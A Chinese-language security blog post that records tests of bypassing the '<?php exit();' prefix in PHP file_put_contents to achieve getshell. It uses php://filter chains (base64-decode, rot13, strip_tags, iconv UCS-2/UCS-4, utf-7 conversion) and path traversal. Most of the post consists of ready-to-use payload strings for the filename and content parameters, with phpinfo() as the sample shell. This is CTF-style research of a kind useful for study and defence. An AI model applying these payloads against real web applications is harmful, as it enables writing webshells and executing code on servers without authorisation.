0%

关于file_put_contents的一些小测试

昨天看了篇文章一次“SSRF–>RCE”的艰难利用,被里面的各种骚操作给秀到了,发现file_put_contents这个很有意思,绕过<?php exit();GetShell也经常有人提出不同的思路,这里简单的做一下测试和记录。

file_put_contents($filename,”<?php exit();”.$content);

前提:这种是前后两个变量不同,假设$filename,$content我们都可控情况

这种情况相对较为简单,先捋清思路,$filename控制的写入的文件名,$content拼接在了<?php exit();后,所以想要GetShell的话,就必须把<?php exit();给干掉,而都知道$filename是控制文件名的,如果我们使用php://filter协议的话,这会先按php://filter规定的协议对$content进行解码后再写入协议,更强大的是php://filter还支持使用多个过滤器规则,也就是说我们可以来个连环操作。所以思路很简单,目标就是把<?php exit();解码为php不认识的字符,而我们构造的内容能够正常的解码出来就可以。这个在phith0n之前的文章里有了很详细的介绍传送门,这里简单的介绍一下

0x01 Base64编码

最常用的就是base64编码了,通过解码把<?php exit();解码为乱码,而后面我们传入的webshell的base64内容被正常解码,就可以直接干掉<?php exit();得到一个shell了,不过由于<?php exit();中只有phpexit参与了解码,由于base64解码时4转3,所以需要补一位如👇

1
2
<?php phpinfo();?> => PD9waHAgcGhwaW5mbygpOz8+ => aPD9waHAgcGhwaW5mbygpOz8+ -> $content
php://filter/write=convert.base64-decode/resource=Cyc1e.php -> $filename

0x02 Rot13编码

同样,也可以利用rot13编码来绕过,原理和Base64编码是一样的,就不多赘述了,如下👇

1
2
<?php phpinfo();?> => <?cuc cucvasb();?> -> $content
php://filter/write=string.rot13/resource=Cyc1e.php -> $filename

这种方法是需要服务器没有开启短标签的时候才可以使用(默认情况是没开启的:php.ini中的short_open_tag)

0x03 组合拳

我们可以利用php://filter字符串处理方法&&编码的方法绕过<?php exit();,相对于直接编码就有点多此一举了,不过知道有这个方法就好了,例如利用strip_tags方法来直接去除xml,而我们传入的shell是base64编码过的,所以不会被去除,再解码即可,前面也说了php://filter是支持使用多个多滤器的,所以构造如下👇

1
2
<?php phpinfo();?> => PD9waHAgcGhwaW5mbygpOz8+ =>?>PD9waHAgcGhwaW5mbygpOz8+ -> $content #这里由于`<?php exit();`不是完整的标签,所以需要补上’?>‘进行补全
php://filter/write=string.strip_tags|convert.base64-decode/resource=Cyc1e.php -> $filename

file_put_contents($a,”<?php exit();”.$a);

前提:这种是前后两个变量相同,假设$a可控情况

这种相同变量的构造方式和不同变量的构造方式思路是大差不差的,都是需要干掉<?php exit();,只不过构造起来相对更复杂一些,这里也简单记录下测试的内容👇

0x01 Base64

这里和上面对应上,不过经过个人测试,直接只用Base64的方式是不行的!(如果有构造出来的,分享一下),接下来讲讲为何个人觉得不行 ~

1
file_put_contents($a,"<?php exit();".$a);

根据前面介绍的不同变量的构造方法,很容易拓展到相同的变量,同样利用php://filter来构造,反正后面是写入的内容,只要在后面解码的时候把shell解码出来,不需要的东西解码成乱码即可,而Base64构造的话,例如

1
$a = php://filter/write=convert.base64-decode|PD9waHAgcGhwaW5mbygpOz8+|/resource=Cyc1e.php

构造的shell可以放在过滤器的位置和文件名位置都可以(其他编码有时候会有空格什么的乱码,文件名不一定好用),php://filter面对不可用的规则是报个Warning,然后跳过继续执行的(不会退出),所以按理说这样构造是“很完美”的,我们看下base-decode哪些字符👇

1
php//filter/write=convertbase64decodePD9waHAgcGhwaW5mbygpOz8+/resource=Cyc1e.php

而默认情况下base64编码是以 = 作为结尾的,所以正常解码的时候到了 = 就解码结束了,即使我们构造payload的时候不用write=,但是在最后获取文件名的时候resource=中的 = 过不掉,所以导致过滤器解码失败,从而报错(不过还是会创建文件的,内容由于解码过程出错了,就都丢弃了)👇

我们也可以简单的测试一下是否是 = 出的问题,

1
2
3
4
5
6
#3.php
<?php
$filename="php://filter/write=convert.base64-decode/resource=Cyc1e.php";
$content="PD9waHAgcGhwaW5mbygpOz8+";
file_put_contents($filename,"<?PHP exit();//=".$content);
?>

结果是一样的,所以可以确定是 = 出的问题,要是有绕过的构造方法,欢迎分享。

0x02 Rot13

rot13编码就不存在base64的问题,所以和前面base64构造的思路一样👇

1
$a = php://filter/write=string.rot13|<?cuc cucvasb();?>|/resource=Cyc1e.php

和前面提到的一样,这种方法是需要服务器没有开启短标签的时候才可以使用(默认情况是没开启的:php.ini中的short_open_tag(再补充一下,linux下默认是没有开启的))

0x03 iconv字符编码转换

这种方法由于之前没有见过,所以感觉这波操作比我的亚索还要秀~,想法是一样的,通过字符转换把<?php exit();转成不能解析的,这里采用的是UCS-2或者UCS-4编码方式(当然还有很多,比如utf-8和utf-7),而我们构造的转成可正常解析的。👇

1
2
#echo iconv("UCS-2LE","UCS-2BE",'<?php phpinfo();?>');
?<hp phpipfn(o;)>?

这里用的是UCS-2,当然我们也可以用UCS-4👇

1
2
echo iconv("UCS-4LE","UCS-4BE",'aa<?php phpinfo();?>');
?<aa phpiphp(ofn>?;)

通过UCS-2或者UCS-4的方式,对目标字符串进行2/4位一反转,也就是说构造的需要是UCS-2或UCS-4中2或者4的倍数,不然不能进行反转,那我们就可以利用这种过滤器进行编码转换绕过了,构造payload👇

1
2
3
4
$a='php://filter//convert.iconv.UCS-2LE.UCS-2BE|?<hp phpipfn(o;)>?/resource=Cyc1e.php';
**or**
$a='php://filter//convert.iconv.UCS-4LE.UCS-4BE|xxx?<aa phpiphp(ofn>?;)/resource=Cyc1e.php';
#由于是4位一反转,所以需要保证?<aa phpiphp(ofn>?;)之前字符个数是4的倍数,所以需要补3个字符

当然这种方法对于前后不同变量也是一样适用的~

0x04 组合拳

第一套连招

和前后不同的变量的利用一样,相同变量一样可以使用组合拳,这里就用UCS-2和rot13举一个例子吧,知道可以这样的意思👇

1
$a = 'php://filter/write=convert.iconv.UCS-2LE.UCS-2BE|string.rot13|x?<uc cucvcsa(b;)>?/resource=Cyc1e.php'; #同样需要补位,这里补了一个x

第二套连招

前面介绍单独用base64编码是不可行的,那么来一套组合拳是否可以呢?答案肯定是可以的,这里感谢大兄弟郁离歌提供的方法,通过iconv将utf8编码转为utf7编码,从而把 = 给转了,就不会影响到base64的解码了👇

1
$a='php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode|AAPD9waHAgcGhwaW5mbygpOz8+/resource=Cyc1e.php'; #base64编码前补了AA,原理一样,补齐位数

我们看一下转码后的结果

1
2
3
UTF-8:php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode|AAPD9waHAgcGhwaW5mbygpOz8+/resource=Cyc1e.php
👇
UTF-7:php://filter/convert.iconv.utf-8.utf-7+AHw-convert.base64-decode+AHw-AAPD9waHAgcGhwaW5mbygpOz8+-/resource+AD0-Cyc1e.php

这样就成功的把 = 给转了,base64编码没有受到影响,一样可以正常的解码~

所以对于base64的运用,只要找到一个能把 = 转了同时又不影响base64编码后的字符的转码方式即可

第三套连招

我们来用一下strip_tags方法&&base64的组合,不过之前构造的这种方法有局限性,要求服务器是linux系统,所以之前没写。因为前面介绍过strip_tags去除的是完整的标签以及内容,而base64要求中间不能出现 = 所以把他们二者组合起来👇

1
$a = 'php://filter/write=string.strip_tags|convert.base64-decode/resource=?>PD9waHAgcGhwaW5mbygpOz8+.php';

理解起来也很简单,在文件名前加上?><?php exit();闭合,同时 = 也在闭合标签之间,所以利用strip_tags处理的时候直接把<?php ...... ?>内的所有内容都删除了,然后对剩下的部分,也就是PD9waHAgcGhwaW5mbygpOz8+.php进行base64解码,为什么说这种构造Windows不行呢,因为Windows不支持文件名中有?>这类字符。

如果觉得文件名太难看了,那么可以利用../来构造👇

1
$a = 'php://filter/write=string.strip_tags|convert.base64-decode/resource=?>PD9waHAgcGhwaW5mbygpOz8+/../Cyc1e.php';

?>PD9waHAgcGhwaW5mbygpOz8+作为目录名(不管存不存在),再用../回退一下,这样创建出来的文件名为Cyc1e.php,这样创建出来的文件名就正常了

这里为何不用strip_tags呢?因为rot13转换的同样会被strip_tags方法给删除了,而UCS-2或UCS-4构造的也同样会被strip_tags方法给删除,所以需要找其他的编码方式进行构造,这里做个小tips,由于strip_tags去除的是一个闭合的标签所以?>可以放在我们构造的shell编码前,这样在contents上就直接把shell前的字符去了,只要shell的编码不会被删除,就可以解码回shell写入文件中,本菜懒,就不一个一个过滤器试了~

总结

简单的记录了一下本菜的测试过程,过滤器只用了提到的和常用的,当然php://filter还有其他的过滤器是可以用的,不过总结起来说,思路都是一样的,就是如何把<?php exit();”吃掉“,让自己构造的shell可以正常运行,简单总结了这种方法,当然,方法万千,师傅们有好的方法也欢迎分享(白嫖)~

tips:file_put_contentsfile_get_contents这两个函数还是很有意思的,file_get_contents也有很多特性,下次有时间再写